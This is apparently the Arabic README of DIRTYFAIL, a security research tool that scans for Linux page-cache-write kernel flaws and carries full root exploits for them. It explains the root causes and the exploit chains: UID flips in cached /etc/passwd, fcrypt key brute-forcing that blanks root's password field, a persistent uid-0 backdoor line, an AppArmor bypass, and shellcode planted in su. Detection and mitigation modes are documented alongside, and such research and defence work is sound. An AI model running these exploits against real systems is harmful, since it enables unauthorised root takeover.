DIRTYFAIL هي أداة صغيرة مكتوبة بلغة C وموثّقة جيدًا لباحثي الأمن.
تكتشف ما إذا كان مضيف Linux معرّضًا للثغرات الثلاث في هذه
العائلة، ومع — تأكيد صريح مكتوب — تشغّل إثبات
مفهوم حقيقيًا يلقي بالمتصل في شيل جذر على نظام معرّض.

| CVE / الاختلاف | الاسم | تغطية DIRTYFAIL |
|---|---|---|
| **CVE-2026-31431** | Copy Fail (كتابة في ذاكرة التخزين المؤقت للصفحات عبر algif_aead وبوحدة `authencesn`) | كشف + PoC كامل |
| **CVE-2026-43284 v4** | Dirty Frag — كتابة في ذاكرة التخزين المؤقت للصفحات عبر IPv4 xfrm-ESP | كشف + PoC كامل |
| **CVE-2026-43284 v6** | Dirty Frag — كتابة في ذاكرة التخزين المؤقت للصفحات عبر IPv6 xfrm-ESP (`esp6`) | كشف + PoC كامل |
| **CVE-2026-43500** | Dirty Frag — كتابة في ذاكرة التخزين المؤقت للصفحات عبر RxRPC | كشف + PoC كامل |
| Copy Fail GCM variant | كتابة في ذاكرة التخزين المؤقت للصفحات عبر xfrm-ESP `rfc4106(gcm(aes))` | كشف + PoC كامل |

**أوضاع إضافية:**

- **`--scan --active`** — استطلاعات نشطة للتخزين عبر ملف حارس (sentinel-STORE). الاستطلاع الافتراضي `--scan` يبلّغ عن الشروط المسبقة لكل ثغرة (النواة، الوحدات، حالة LSM) بالإضافة إلى استطلاع نشط لآلية Copy Fail البدائية. إضافة `--active` توسّع استطلاع STORE عبر الملف الحارس ليشمل البدائل الأربعة الأخرى (ESP v4 وESP v6 وRxRPC وGCM): كل منها يُطلق مشغّل النواة ضد ملف حارس في `/tmp` ويبلّغ عن VULNERABLE فقط إذا هبطت بايتات العلامة فعليًا. هذه هي الطريقة الوحيدة للتمييز بين نواة مطبَّق عليها تصحيح backported (الشروط المسبقة تقول معرّضة لكن الاستطلاع يقول سليمة) وبين نواة غير مصححة دون تشغيل الاستغلال الكامل. لا يُلمس `/etc/passwd` أبدًا. يعاير تلقائيًا إزاحة STORE لـ V6 حسب بناء النواة.
- **`--exploit-backdoor`** — باب خلفي دائم بصلاحيات uid-0: استبدال بطول مطابق لسطر `nologin`/`false`/`sync` في `/etc/passwd` بـ `dirtyfail::0:0:<pad>:/:/bin/bash`. يستمر بعد خروج الشيل حتى يتم إخلاء الصفحة. تُخزَّن الحالة في `/var/tmp/.dirtyfail.state` لأجل `--cleanup-backdoor`. اسم المستخدم `dirtyfail` مُطابَق عمدًا مع هذا المشروع بحيث يمكن التعرف عليه فورًا في أي تدقيق — غيّر `NEW_USER` في `src/backdoor.c` إذا كنت بحاجة إلى معرّف مختلف لمهمة red-team مصرّح بها.
- **تجاوز AppArmor** — يُبطل سياسة Ubuntu القائمة على `apparmor_restrict_unprivileged_userns=1` عبر إعادة تنفيذ قفزة واحدة `change_onexec("crun")` إلى ملف تعريف غير مقيد (unconfined) يحتفظ بصلاحيات userns. كل وضع استغلال يتعامل مع هذا داخليًا عبر fork: يبقى الأب في namespace init، ويقوم الابن برقصة التجاوز، ويقرأ الأب ذاكرة التخزين المؤقت العامة للصفحات ويشغّل `su` للحصول على جذر init-ns حقيقي. ما تزال العلامة القديمة `--aa-bypass` موجودة لتصحيح أخطاء آلية التجاوز بمعزل. انظر [§8.5 البنية](#85-architecture-outerinner-fork-based-bypass).

## تم التحقق من العمل على

تم التحقق من DIRTYFAIL **تجريبيًا من البداية إلى النهاية** عبر عدة
توزيعات وإصدارات نواة. تعكس المصفوفة أدناه نتائج الاختبار لكل وضع من
تشغيل كل وضع `--exploit-*` ضد تثبيت نظيف لكل توزيعة.

| التوزيعة | النواة | LSM | Copy Fail | xfrm-ESP v4 | xfrm-ESP v6 | RxRPC | GCM | الباب الخلفي | shellcode لـ su |
|---|---|---|:-:|:-:|:-:|:-:|:-:|:-:|:-:|
| Ubuntu 24.04 LTS | `6.8.0-111-generic` | AppArmor | 🛡²  | ✅ | ✅ | ✅ | ✅¹ | ✅¹ | (غير مُختبَر) |
| Debian 13.4 | `6.12.86+deb13` | لا يوجد | 🛡 | 🛡 | 🛡 | 🛡 | 🛡 | 🛡 | 🛡⁵ |
| AlmaLinux 10.1 | `6.12.0-124.8.1.el10_1` | SELinux | ✅ | ✅ | ✅ | ⏭³ | ✅ | ✅ | ✅ |
| Fedora 44 (Server) | `6.19.10-300.fc44` | SELinux | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ |
| Ubuntu 26.04 LTS | `7.0.0-15-generic` | AppArmor (مُقوّى) | 🛡 | 🛡⁴ | 🛡⁴ | 🛡⁴ | 🛡⁴ | 🛡⁴ | 🛡⁵ |

**المفتاح:** ✅ الاستغلال نجح وأعطى جذر init-ns حقيقي · 🛡 مخفَّف — لا يمكن للاستغلال الوصول إلى ثغرة النواة (النواة مُصحَّحة أو LSM يحجب المسار غير المميز) · ⏭ غير قابل للتطبيق (شرط مسبق مفقود)

### التحقق من الاستطلاع النشط (`--scan --active`)

تُضيف علامة `--active` استطلاع STORE عبر ملف حارس لكل ثغرة أثناء
الاكتشاف. تحقّقنا من مخرجات الاستطلاع ضد نفس التوزيعات الأربع
أعلاه (Debian وFedora وAlmaLinux وUbuntu 26.04) — المصفوفة أدناه
تعرض نتيجة الاستطلاع لكل وضع وتطابق الحقيقة الأرضية للاستغلال الكامل واحد لواحد:

| التوزيعة | استطلاع Copy Fail | استطلاع ESP v4 | استطلاع ESP v6 | استطلاع RxRPC | استطلاع GCM |
|---|:-:|:-:|:-:|:-:|:-:|
| Debian 13.4 | intact 🛡 | intact 🛡 | intact 🛡 | intact 🛡 | intact 🛡 |
| Fedora 44   | marker @0 ✅ | STORE @0 ✅ | STORE @8 ✅ | byte change ✅ | sentinel[0] 0x41→0x27 ✅ |
| AlmaLinux 10.1 | marker @0 ✅ | STORE @0 ✅ | STORE @8 ✅ | preconds ⏭ | sentinel changed ✅ |
| Ubuntu 26.04 | intact 🛡 | LSM-blocked 🛡 | LSM-blocked 🛡 | LSM-blocked 🛡 | LSM-blocked 🛡 |

إن إزاحة هبوط STORE لاستطلاع V6 (8 على Fedora وAlma) تطابق
القيمة التجريبية `V6_STORE_SHIFT` التي يكتشفها `calibrate_v6_shift()` في
وقت التشغيل — مما يؤكد أن المعايرة التلقائية تستبدل الثابت
المُرمَّز مسبقًا بشكل صحيح عبر بناءات النواة.

¹ يتطلب وضعا GCM والـ Backdoor أن تكون وحدة `algif_aead` قابلة للتحميل. يأتي Ubuntu 24.04 مع ملف `/etc/modprobe.d/disable-algif_aead.conf` الذي يدرجها في القائمة السوداء كتخفيف لثغرة Copy Fail. عند إزالة القائمة السوداء (مثلًا على نواة سابقة لتطبيق التخفيف)، يعمل كلا الوضعين من البداية إلى النهاية.

² مسار algif_aead الخاص بـ Copy Fail مخفَّف عبر القائمة السوداء لـ modprobe؛ آلية الثغرة الأساسية في النواة هي نفسها سواء كان `authencesn` قابلاً للوصول أم لا. تستقر xfrm-ESP وRxRPC ومتغير GCM جميعها على نفس النواة لأنها لا تمر عبر algif_aead.

³ حزمة `kernel-modules-extra` في AlmaLinux 10 غير مثبتة افتراضيًا في تثبيت Minimal، لذلك يكون `rxrpc.ko` مفقودًا على القرص. تثبيت `kernel-modules-extra-$(uname -r)` من EPEL أو مستودع AlmaLinux الإضافي يعيد الوحدة؛ وعلى تثبيت Minimal قياسي يكون RxRPC غير قابل للوصول.

⁴ **يعمل Ubuntu 26.04 LTS على منع الاستغلال غير المميز بشكل شامل.**
النواة المُرفقة `7.0.0-15.15` (صدرت في 2026-04-22) **تسبق
تصحيح السلسلة الرئيسية `f4c50a4034e6` (المدمج في 2026-05-07) بنحو أسبوعين** — لذا
فالثغرة ما تزال موجودة فعليًا في النواة. دفاع Ubuntu هو
**الدفاع في العمق عبر تحصين AppArmor**، وليس تصحيحًا للنواة:

- `apparmor_restrict_unprivileged_userns=1` مفعّل افتراضيًا.
- عند `unshare(CLONE_NEWUSER)`، تقوم آلية فرض AppArmor على مستوى النواة
  بتحويل تلقائي لأي ملف تعريف (بما في ذلك تلك الموسومة بـ `(unconfined)`
  مثل `crun` و`chrome` و`unconfined` الافتراضي) إلى
  ملف تعريف فرعي `<profile>//&unprivileged_userns (mixed)` يحتوي على
  `audit deny capability`. لا يحصل uid 0 داخل userns الجديد على أي صلاحيات.
- `change_onexec` إلى ملف تعريف مختلف لا يساعد — حتى ملف
  تعريف `crun` (الذي لديه صلاحية `userns,` صريحة و
  `flags=(unconfined)`) يتحول تلقائيًا عند unshare. تم التحقق عبر
  `aa-exec -p crun bash -c 'unshare -U -n cat /proc/self/attr/current'`
  → `crun//&unprivileged_userns (mixed)`.
- `newuidmap`/`newgidmap` (setuid root) يكتبان uid_map بنجاح،
  لكن `setresuid(0)` تنجح بعد ذلك بينما يُعيد `ioctl(SIOCSIFFLAGS)` و
  كل استدعاء نظام آخر محكوم بـ CAP_NET_ADMIN قيمة EPERM لأن
  رفض الصلاحية يكون لكل namespace وليس لكل uid.

يُجهّز ثنائي DIRTYFAIL آلية التجاوز بشكل صحيح ويصل إلى المرحلة الثانية،
لكنه لا يستطيع الحصول على CAP_NET_ADMIN داخل userns الجديد. البنية
التحتية للاستغلال محجوبة في طبقة LSM بغض النظر عن تقنية التجاوز.
اختبرنا `change_onexec(crun)` و`change_onexec(chrome)` و`aa-exec -p <profile>`
وتنفيذ `unshare(USER|NET) + newuidmap` المباشر — جميعها تنتج نفس
ملف التعريف الفرعي `unprivileged_userns`.

> **هذا عمل أمني جيد من Canonical.** فئة الثغرة مخففة
> للمستخدمين غير المميزين دون الحاجة إلى إعادة بناء النواة.
> من المرجح أن يجلب تحديث مستقر لاحق تصحيح النواة الفعلي أيضًا،
> مكملًا الدفاع.

⁵ **حقن shellcode في `--exploit-su`** يعتمد على نفس آلية Copy Fail البدائية المكونة من 4 بايتات (`cf_4byte_write`). على النوى التي تم فيها تصحيح Copy Fail (Debian 13.4) أو حجبها عبر LSM (Ubuntu 26.04 — لكن مسار algif_aead تم تصحيحه أيضًا في 7.0.0-15)، يتم تنفيذ الزرع لكن خطوة التحقق تفشل ("page cache does not match planted shellcode") ويعيد التراجع التلقائي `/usr/bin/su` إلى حالته. تم الاختبار من البداية إلى النهاية على AlmaLinux 10.1 (نقطة الدخول عند إزاحة الملف `0x45b0`) وFedora 44 (الإزاحة `0x1b60`)؛ يتعامل محلل ELF مع قاعدة PIE لكل توزيعة بشكل مستقل. إثبات الجذر الحقيقي على Fedora 44:
`uid=0(root) gid=0(root) ... context=unconfined_u:unconfined_r:unconfined_t`.

إعادة إنتاج الاختبار:

- أعدنا تثبيت كل توزيعة من ISO نظيف، وأعددنا مصادقة مفتاح SSH + sudo بدون كلمة مرور (NOPASSWD)، واستنسخنا وبنينا DIRTYFAIL على كل واحدة، وأخذنا لقطة Parallels باسم `clean-build`، ثم شغّلنا جميع أوضاع الاستغلال الخمسة مع `--no-shell` (تراجع تلقائي عبر fadvise + drop_caches).
- تُشتق صفوف النتائج التجريبية من تحليل مخرجات `--exploit-*` الفعلية، بحثًا عن إشارات النجاح: `page cache now reports <user> with uid 0`، و`root password field is now empty`، و`is now uid 0` (الباب الخلفي)، أو أي من أنماط الفشل (`write did not land`، `byte flip failed`، `setresuid: Invalid`، `add_rxrpc_key: No such device`، `page cache not in expected shape`).
- للتحقق من "الجذر الحقيقي" في وضعي RxRPC والـ Backdoor، نفّذنا `echo "" | su - root` / `echo "" | su - dirtyfail` وأكّدنا `uid=0(root)` بالإضافة إلى قراءة ناجحة لـ `/etc/shadow`.

> **للاستخدام المصرح به فقط.** استخدم DIRTYFAIL فقط على الأنظمة التي تملكها أو
> التي لديك تفويض صريح لتقييمها. أوضاع الاستغلال تُفسد
> `/etc/passwd` *في ذاكرة التخزين المؤقت للنواة* (الملف على القرص لا يُلمس
> أبدًا). التنظيف يكون عبر `dirtyfail --cleanup` أو
> `echo 3 > /proc/sys/vm/drop_caches`.

---

## جدول المحتويات

1. [فئة الثغرة](#1-the-bug-class)
2. [CVE-2026-31431 — Copy Fail](#2-cve-2026-31431--copy-fail)
3. [CVE-2026-43284 — Dirty Frag (xfrm-ESP)](#3-cve-2026-43284--dirty-frag-xfrm-esp)
4. [CVE-2026-43500 — Dirty Frag (RxRPC)](#4-cve-2026-43500--dirty-frag-rxrpc)
    - [4.5 نظرة عامة على البنية](#45-architecture-overview)
5. [البناء](#5-build)
6. [الاستخدام](#6-usage)
7. [كيف يكتشف DIRTYFAIL كل ثغرة CVE](#7-how-dirtyfail-detects-each-cve)
8. [كيف يستغل DIRTYFAIL كل ثغرة CVE](#8-how-dirtyfail-exploits-each-cve)
    - [8.5 البنية: تجاوز قائم على fork خارجي/داخلي](#85-architecture-outerinner-fork-based-bypass)
9. [التخفيفات](#9-mitigations)
10. [الأخلاقيات والإفصاح](#10-ethics--disclosure)
11. [الاعتمادات](#11-credits)

**وثائق مصاحبة:**
- [`docs/DEFENDERS.md`](https://github.com/karazajac/dirtyfail/blob/HEAD/docs/DEFENDERS.md) — دليل مسؤول الأنظمة: هل أنا معرّض؟ كيف أخفف؟ ماذا أراقب؟
- [`docs/RESEARCH.md`](https://github.com/karazajac/dirtyfail/blob/HEAD/docs/RESEARCH.md) — تدقيق في مصدر النواة للمسارات المجاورة (AH، IPCOMP، MACsec، kTLS، إلخ) لنفس فئة الثغرة.
- [`tools/dirtyfail-check.sh`](https://github.com/karazajac/dirtyfail/blob/HEAD/tools/dirtyfail-check.sh) — كاشف bash مستقل لمسؤولي الأنظمة (لا يتطلب ترجمة).
- [`tools/99-dirtyfail.rules`](https://github.com/karazajac/dirtyfail/blob/HEAD/tools/99-dirtyfail.rules) — قواعد auditd جاهزة للتحميل لسلسلة الاستغلال.
- [`tools/dirtyfail-container-escape.sh`](https://github.com/karazajac/dirtyfail/blob/HEAD/tools/dirtyfail-container-escape.sh) — عرض توضيحي لنصف قطر الانفجار عبر المساحات الاسمية (cross-namespace).
- [`tools/exploit_su_aarch64.S`](https://github.com/karazajac/dirtyfail/blob/HEAD/tools/exploit_su_aarch64.S) — كود مصدري لـ shellcode بهندسة aarch64 (ARM64) لوضع `--exploit-su`. غير مُختبَر على عتاد حقيقي؛ يُشحن خلف حاجز `DIRTYFAIL_AARCH64_TRUST_UNTESTED=1`. أعد توليد البايتات المقابلة في `src/exploit_su.c` باستخدام `aarch64-linux-gnu-as` للتحقق.

---

## 1. فئة الثغرة

تسمح ثغرات **الكتابة في ذاكرة التخزين المؤقت للصفحات** لمستخدم غير مميز بتعديل
نسخة النواة في الذاكرة من ملف لا يملك إلا صلاحية القراءة عليه.
لا يُكتب الملف على القرص أبدًا؛ يستمر التعديل في ذاكرة الوصول العشوائي
حتى يتم إخلاء الصفحة (`drop_caches`، أو ضغط الذاكرة، أو إعادة التشغيل).

بدأت هذه الفئة مع **Dirty Pipe** (CVE-2022-0847)، الذي أساء استخدام
أعلام `pipe_buffer`. يُعد Copy Fail وDirty Frag من السلالات التي
تستهدف عضو `frag` في `struct sk_buff` بدلًا من ذلك. الآلية دائمًا هي نفسها:

1. يقوم الفضاء العلوي (userspace) بـ `splice()` لصفحة من ذاكرة التخزين المؤقت للصفحات من ملف قابل للقراءة (مثل `/etc/passwd`، `/usr/bin/su`) إلى frag في حاجز kernel.
2. يقوم مسار الاستقبال بتشفير **في الموضع (in-place)** على ذلك الحاجز — نفس الصفحات تكون مصدرًا ووجهةً للعملية.
3. تقوم روتين التشفير بتنفيذ STORE "مؤقت" خارج منطقة البيانات (إعادة ترتيب رقم تسلسلي، فك تشفير كتلة واحدة، إلخ) يهبط داخل الصفحة المثبتة من قبل المستخدم.
4. أصبحت نسخة ذاكرة التخزين المؤقت للصفحات من الملف الآن معدَّلة بشكل دائم لكل قارئ على المضيف، حتى يتم إخلاء الصفحة.

ولأن الثغرة **خلل منطقي حتمي** وليست سباقًا (race)، فإن معدلات النجاح تبلغ 100% تقريبًا ولا تتعطل النواة عند الفشل.

## 2. CVE-2026-31431 — Copy Fail

* تاريخ الإفصاح: **2026-04-29**
* الموقع: <https://copy.fail/>
* إثبات المفهوم الأصلي (C):     [Smarttfoxx/copyfail](https://github.com/Smarttfoxx/copyfail)
* إثبات المفهوم الأصلي (Python): [rootsecdev/cve_2026_31431](https://github.com/rootsecdev/cve_2026_31431)
* أُدخل عبر الالتزام (commit):  `72548b093ee3` (2017)
* أُصلح عبر الالتزام:       `a664bf3d` (mainline 6.12 / 6.17 / 6.18 stables)
* الأنظمة المؤكدة تأثرها:    Ubuntu 24.04 LTS, Amazon Linux 2023, RHEL 14.3, SUSE 16

### السبب الجذري

تكشف وحدة `algif_aead` في النواة واجهة برمجة التشفير AEAD
للفضاء العلوي عبر `AF_ALG`. يطبّق القالب `authencesn(hmac(sha256), cbc(aes))`
معيار RFC-4303 لأرقام التسلسل الموسعة (Extended Sequence Numbers)؛ جزء من
مسار فك التشفير يقوم بعمل **كتابة مؤقتة من 4 بايتات** لإعادة ترتيب
رقم التسلسل:```c
static int crypto_authenc_esn_decrypt(struct aead_request *req)
{
    /* Move high-order bits of sequence number to the end. */
    scatterwalk_map_and_copy(tmp, src, 0, 8, 0);
    if (src == dst) {
        scatterwalk_map_and_copy(tmp,     dst, 4,                  4, 1);
        scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);  // ★
        ...

قلب `1000` (حقل UID، بالضبط 4 بايتات ASCII لأي UID
1000–9999) إلى `0000` يجعل دالة `getpwnam()` في glibc تُبلغ عن uid=0 لـ
ذلك المستخدم. غير أن PAM ما تزال تصادق ضد ملف
`/etc/shadow` على القرص (وهو غير ممسوس)، لذا يطلب `su <user>`
كلمة المرور الحقيقية، يتحقق منها، ثم `setuid(0)` — ويهبط إلى الجذر
لأن نسخة ذاكرة التخزين المؤقت للصفحات من `/etc/passwd` تقول إننا root.

سلامة `/etc/shadow` محفوظة. النسخة على القرص من `/etc/passwd`
محفوظة. فقط نسخة RAM الخاصة بالنواة من `/etc/passwd` تتلف،
وفقط حتى `drop_caches` أو إعادة التشغيل.

---

## 3. CVE-2026-43284 — Dirty Frag (xfrm-ESP)

* الإفصاح: **2026-04-30 → 2026-05-08**
* النموذج الأصلي (PoC) (C): [V4bel/dirtyfrag](https://github.com/V4bel/dirtyfrag)
* الباحث: Hyunwoo Kim ([@v4bel](https://x.com/v4bel))
* تم إدخاله بواسطة الالتزام: `cac2661c53f3` (2017-01-17)
* تم إصلاحه بواسطة الالتزام:      `f4c50a4034e6` (mainline net.git, merged 2026-05-07)
* المتأثرة المؤكدة:   Ubuntu 24.04, RHEL 10.1, openSUSE Tumbleweed,
                        CentOS Stream 10, AlmaLinux 10, Fedora 44

### السبب الجذري

من المفترض أن تستدعي `esp_input()` الدالة `skb_cow_data()` قبل فك تشفير AEAD
في نفس المكان عندما يكون skb غير خطي (أي يحتوي على frags). يحتوي مسار الكود
على اختصار:```c
if (!skb_cloned(skb)) {
    if (!skb_is_nonlinear(skb)) {
        nfrags = 1;
        goto skip_cow;
    } else if (!skb_has_frag_list(skb)) {        // ★ bug
        nfrags = skb_shinfo(skb)->nr_frags;
        nfrags++;
        goto skip_cow;
    }
}

إذا تم إدخال صفحة page-cache في frag الخاص بـ skb، فسيتم تنفيذ فك التشفير ذو 8 بايت
فوقها.

**الفرق عن xfrm-ESP**: الـ 8 بايتات التي تخضع لعملية STORE هي
`fcrypt_decrypt(C, K)`، حيث `C` هو النص المشفر الحالي عند
إزاحة الملف تلك و`K` هو مفتاح الجلسة من رمز RxRPC v1 الذي
سجّله المهاجم عبر `add_key("rxrpc", ...)`. لا يتحكم المهاجم
في قيمة STORE مباشرة — بل يتعين عليه تخمين `K` حتى
يُنتج `fcrypt_decrypt(C, K)` النص الصريح المطلوب.

`fcrypt` هو تشفير من نظام ملفات Andrew بمفتاح **56-بت** و
كتلة من 8 بايت. إنه حتمي؛ وينتقل بسلاسة إلى مساحة المستخدم؛ و
فضاء مفاتيحه صغير بما يكفي لإمكانية تخمين هدف مقيد من 8 بايت
في ميلي ثانية إلى ثوانٍ حسب ميزانية
القيود.

**الأهم من ذلك، أن هذا المسار لا يتطلب امتيازات namespace** —
جميع `add_key` و`socket(AF_RXRPC)` و`socket(AF_ALG)` و`splice` متاحة
لأي مستخدم غير مميز. يسد RxRPC الفجوة على ملف Ubuntu
hardened-userns (حيث يُحظر xfrm-ESP) لأن
`rxrpc.ko` يأتي ضمن بناء Ubuntu الافتراضي.

### الاستغلال

الاستغلال الكامل:

1. قم بتخمين `K_A` و`K_B` و`K_C` في مساحة المستخدم بحيث تُنتج
   عمليات STOREs الثلاث عند إزاحات `/etc/passwd` 4 و6 و8 القيم
   `"::"` و`"0:"` و`"0:GGGGGG:"` على الترتيب (الكتابة الأخيرة هي التي تفوز).
2. لكل `K_i`، سجّل رمز RxRPC v1 باستخدام `add_key`، ونفّذ
   مصافحة AF_RXRPC مزوّرة ضد خادم UDP وهمي في نفس
   العملية، وشغّل `rxkad_verify_packet_1` عبر splice.
3. أصبحت نسخة page-cache من السطر الأول في `/etc/passwd` الآن
   `root::0:0:GGGGGG:/root:/bin/bash` — حقل كلمة مرور فارغ.
4. تقبل PAM مع `pam_unix.so nullok` كلمة المرور الفارغة؛ ويوفّر `su -`
   شلّة بصلاحيات الجذر.

### تغطية DIRTYFAIL

يوفّر DIRTYFAIL **كلاً من** الكشف وPoC كامل لهذا CVE.

يقع تنفيذ DIRTYFAIL في `src/dirtyfrag_rxrpc.c` و
`src/fcrypt.c`:

- **تشفير fcrypt** (`fcrypt.c`): مفتاح 56-بت، كتلة من 8 بايت، شبكة من 16 جولة
  Feistel؛ وصناديق S-boxes القياسية لبروتوكول rxkad. يتضمن أداة تخمين أحادية النواة
  (~18 Mops/s) تبحث في فضاء المفاتيح حتى
  يستوفي نص صريح مرشّح شرطًا يقدمه المتصل.
- **مجموع اختباري rxkad** (`compute_csum_iv`، `compute_cksum`): صيغة النواة
  المعاد إنتاجها عبر AF_ALG `pcbc(fcrypt)` بحيث يمر cksum السلكي
  في حزمة DATA المزوّرة عبر بوابة `rxkad_verify_packet`.
- **بناء رمز RxRPC v1** (`build_rxrpc_v1_token`): رمز rxkad مُرمّز بـ XDR
  ومسجَّل عبر `add_key("rxrpc", ...)` مع
  مفتاح الجلسة الذي خمّناه.
- **عميل AF_RXRPC + خادم UDP وهمي**: يبدأ العميل استدعاءً،
  ويستخرج الخادم الوهمي (epoch, cid, callNumber) من أول
  حزمة ويُصدر تحديًا مزورًا (CHALLENGE) حتى يهيّئ العميل
  `conn->rxrpc.cipher` بمفتاحنا.
- **مشغّل Splice** (`do_one_trigger`): vmsplice رأس DATA السلكي المزوّر
  header → splice 8 بايت من `/etc/passwd` → أنبوب splice → udp_srv
  → recvmsg يدفع النواة عبر `rxkad_verify_packet_1` → 8 بايت
  STORE.
- **سلسلة من 3 عمليات splice مع تصحيح النص المشفر المتسلسل**: تخمين
  K_A / K_B / K_C، مع تطبيق إزاحة النص المشفر المتسلسل بين
  المرات (بعد أن تستبدل عملية splice A البايتات 4..11، يبدأ النص المشفر لعملية splice B
  عند 6..13 بـ `P_A[2..7]`؛ وكذلك الحال بالنسبة لـ C ضد B).

يعيد PoC النهائي تشكيل السطر الأول من `/etc/passwd` إلى:```
root::0:0:GGGGG:/root:/bin/bash

**قرارات تصميم رئيسية:**

- **الفصل الخارجي/الداخلي**: كل استغلال يولّد عملية فرعية للعمل في النواة
  تبقى العملية الأم في نطاق init حتى يصل الاستدعاء النهائي `execlp("su",
  user)` يصل إلى جذر init-ns الحقيقي. انظر [§8.5
  البنية](#85-architecture-outerinner-fork-based-bypass).
- **ذاكرة التخزين المؤقت للصفحات عامة**: العملية الفرعية تكتب من داخل userns الالتفافي الخاص بها،
  وتقرأ العملية الأم من init ns; تظهر نفس البايتات.
- **متغيرات البيئة تنقل الحالة من العملية الأم إلى الفرعية**: `DIRTYFAIL_INNER_MODE`,
  `DIRTYFAIL_TARGET_USER`, `DIRTYFAIL_K_{A,B,C}` (rxrpc),
  `DIRTYFAIL_LINE_OFF` إلخ. (الباب الخلفي). يحافظ `execv` على
  البيئة عبر انتقالات المراحل.
- **مرافق دفاعي**: `--mitigate` ينشر نفس قوائم الحظر +
  تحصين sysctl الذي توفره التوزيعات كتخفيفات رسمية.
  يكتشف `--scan` عندما تكون الصلاحيات محجوبة بواسطة LSM ويبلّغ
  "تم التخفيف" بدلاً من القول المضلل "تم استيفاء شروط الثغرة".

---

## 5. البناء

### المتطلبات الأساسية

* **لينكس** (هذا الثنائي يعمل على لينكس فقط عند التشغيل).
* `gcc` أو `clang`، و`make`.
* رؤوس UAPI الخاصة بلينكس — تحديدًا `<linux/xfrm.h>`, `<linux/netlink.h>`,
  `<linux/rtnetlink.h>`, `<linux/if.h>`.

| التوزيعة         | التثبيت                                             |
|-------------------|------------------------------------------------------|
| Debian / Ubuntu   | `sudo apt install build-essential linux-libc-dev`    |
| RHEL / CentOS     | `sudo dnf install gcc make kernel-headers glibc-devel` |
| Fedora            | `sudo dnf install gcc make kernel-headers`           |
| Arch              | `sudo pacman -S base-devel`                          |

### أوامر البناء```sh
git clone https://github.com/<you>/DIRTYFAIL.git
cd DIRTYFAIL
make                # release build → ./dirtyfail
make debug          # -O0 -g3 for gdb
make static         # static link (musl-gcc recommended)
make clean

(ثبّت `musl-tools` على Debian/Ubuntu، أو ابنِ musl من المصدر).

---

## 6. الاستخدام

`./dirtyfail --help` هو المرجع الأساسي؛ فيما يلي الأوضاع مصنّفة حسب الفئة:

**الكشف (آمن؛ لا تعديل على النظام):**

| الوضع | ماذا يفعل |
|---|---|
| `--scan` | تشغيل كل المكتشفات الخمسة (الوضع الافتراضي) |
| `--scan --active` | إضافة مسبار STORE بملف حارس (sentinel-file) لكل CVE — يميّز بين توفّر الشروط المسبقة والثغرة القابلة للاستغلال فعليًا |
| `--scan --json` | إخراج كائن JSON واحد على stdout (مناسب لأنظمة SIEM)؛ تُرسل السجلات إلى stderr |
| `--check-copyfail` / `--check-esp` / `--check-esp6` / `--check-rxrpc` / `--check-gcm` | كشف لكل CVE فقط |

**الاستغلال (يخضع لتأكيد كتابي؛ يفسد ذاكرة التخزين المؤقت لصفحات `/etc/passwd`):**

| الوضع | ماذا يفعل |
|---|---|
| `--exploit-copyfail` | قلب UID عبر أولية `algif_aead` ذات 4 بايت |
| `--exploit-esp` | قلب UID عبر xfrm-ESP v4 (يتطلب userns+CAP_NET_ADMIN) |
| `--exploit-esp6` | قلب UID عبر xfrm-ESP v6 |
| `--exploit-rxrpc` | إفراغ حقل كلمة مرور الجذر عبر تخمين عنيف rxkad fcrypt |
| `--exploit-gcm` | قلب UID عبر أولية `rfc4106(gcm(aes))` ذات بايت واحد |
| `--exploit-backdoor` | دائم: إدراج `dirtyfail::0:0:...:/:/bin/bash` |
| `--exploit-su` | على نمط V4bel: زرع شيلكود خاص بالمعمارية عند نقطة دخول `/usr/bin/su`. تم اختبار x86_64 بالكامل؛ يأتي aarch64 دون اختبار على العتاد (مقيّد خلف `DIRTYFAIL_AARCH64_TRUST_UNTESTED=1`) |

**التنظيف / فحص الحالة:**

| الوضع | ماذا يفعل |
|---|---|
| `--cleanup` | إخراج `/etc/passwd` من ذاكرة التخزين المؤقت للصفحات (`fadvise` + `drop_caches` إذا كنت root) |
| `--cleanup-backdoor` | استعادة سطر `/etc/passwd` الأصلي من ملف الحالة |
| `--cleanup-su` | استعادة بايتات نقطة دخول `/usr/bin/su` من ملف الحالة |
| `--list-state` | الإبلاغ عمّا هو مزروع حاليًا (إن وُجد)؛ دون أي آثار جانبية |

**الدفاع (يتطلب صلاحيات root):**

| الوضع | ماذا يفعل |
|---|---|
| `--mitigate` | حظر الوحدات `algif_aead`/`esp4`/`esp6`/`rxrpc`؛ ضبط `apparmor_restrict_unprivileged_userns=1`؛ تنفيذ drop_caches. الآثار الجانبية: يكسر IPsec وAFS |
| `--cleanup-mitigate` | إزالة ملفات modprobe/sysctl التي ثبّتها `--mitigate` |

**خيارات عامة:**

| الخيار | التأثير |
|---|---|
| `--no-shell` | بعد استغلال ناجح، لا تنفّذ `execve su` — تحقق وأعد الحالة |
| `--no-revert` | مع `--no-shell`، تخطَّ أيضًا الإعادة التلقائية (يُستخدم في عرض الهروب من الحاوية) |
| `--active` | إضافة مسبارات sentinel-STORE نشطة إلى `--scan`/`--check-*` |
| `--json` | (مع `--scan`) إخراج قابل للقراءة آليًا |
| `--no-color` | تعطيل ألوان ANSI |
| `--aa-bypass` | (للتصحيح فقط) فرض تجاوز AppArmor لمساحات userns غير المميزة — تقوم الثغرات بذلك داخليًا، انظر §8.5 |

### أمثلة على الكشف

فحص بسيط (الشروط المسبقة فقط — سريع، ~1 ثانية):```sh
./dirtyfail --scan

JSON لاستيعاب SIEM/الأسطول:```sh
$ ./dirtyfail --scan --active --json
{
  "tool": "dirtyfail",
  "version": "0.1.0",
  "hostname": "server-01",
  "kernel": "6.19.10-300.fc44.x86_64",
  "machine": "x86_64",
  "active_probes": true,
  "results": [
    {"cve": "CVE-2026-31431",     "name": "copyfail",        "status": "vulnerable"},
    {"cve": "CVE-2026-43284",     "name": "dirtyfrag-esp",   "status": "vulnerable"},
    {"cve": "CVE-2026-43284-v6",  "name": "dirtyfrag-esp6",  "status": "vulnerable"},
    {"cve": "CVE-2026-43500",     "name": "dirtyfrag-rxrpc", "status": "vulnerable"},
    {"cve": "CVE-2026-31431-gcm", "name": "copyfail-gcm",    "status": "vulnerable"}
  ],
  "summary": "vulnerable"
}

كل استغلال يطالب بإدخال `DIRTYFAIL` + (حيثما ينطبق)
`YES_BREAK_SSH` قبل أي تعديل على ذاكرة التخزين المؤقت للصفحات.

### فحص الحالة + التنظيف```sh
